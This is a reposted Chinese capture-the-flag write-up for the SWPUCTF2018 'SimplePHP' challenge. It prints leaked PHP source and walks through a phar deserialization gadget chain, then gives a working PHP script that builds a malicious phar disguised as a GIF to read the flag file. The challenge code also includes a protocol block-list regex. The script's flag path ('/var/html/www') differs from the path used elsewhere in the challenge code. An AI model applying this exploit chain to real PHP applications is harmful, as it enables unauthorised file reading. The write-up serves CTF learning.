ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

[SWPUCTF2018] SimplePHP

2020-05-09 23:52:53  阅读:538  来源: 互联网

标签:function SimplePHP phar source file SWPUCTF2018 php public


源码泄露

打开靶机,在查看文件这里可以看到 url 为 http://f292dcfd-887b-4ebb-b292-7d78df57cc52.node3.buuoj.cn/file.php?file= 不难想到文件包含

试试 php://filter/ 发现没有反应,但是直接输入文件名可以读取文件,分别获取 file.php function.php class.php upload_file.php base.php

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?>  

base.php

<?php 
    session_start(); 
	echo $_SERVER['REMOTE_ADDR'];
?>  

phar反序列化

拿到源码后进行审计,不难发现在对上传文件检查( upload_file_check )时,采用了白名单的方式

这样我们能够选择的绕过方式就不多了,很明显的可以去考虑 phar ,然后在 file.php 中发现调用了 file_exists() 函数,这给构造 phar 反序列化提供了条件

接下来就是读取文件了,在 Test 类的 file_get() 调用了 file_get_contents 获取文件内容,或许这就是我们的突破口。file_get() 被调用的前提是 Test 类的实例化对象调用了未定义的属性或没有权限访问的属性,即 __get() 函数被调用

如何让 Test 类的 __get() 函数被调用,在 Show 类的 __toString() 方法中,$this->str['str']->source 访问了自己的 source 变量,这个变量 Test 类可没有,所以这就是让 $this->str['str']Test 类的实例化对象。

如何让 Show 类的 __toString() 方法被调用,可以看到在 C1e4r 中的 __destruct() 函数调用了 echo $this->test;testShow 类的实例化对象即可

最后是上传的路径,在 upload_file_do() 中给出了文件存储位置,实际上可以选择直接访问 /upload 寻找

上传路径为 /upload/md5(filename+ip+.jpg)

flag 的位置可以扫到 f1ag.php ,在 Show 类的 _show() 函数也可以看到提示,file.php 页面的注释中也有

exp

这里有个地方很奇怪,读取 flag 只能用决定路径,不能使用相对路径

<?php
class C1e4r
{
    public $test;
    public $str;

}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$a = new Test();
$a->params['source'] = "/var/html/www/f1ag.php";
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;

$phar = new Phar("1.phar", 0, '1.phar');
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->stopBuffering();
?>

类似的题目

星盟平台的 web6 是这个题目的加强版

标签:function,SimplePHP,phar,source,file,SWPUCTF2018,php,public
来源: https://www.cnblogs.com/peri0d/p/12861258.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有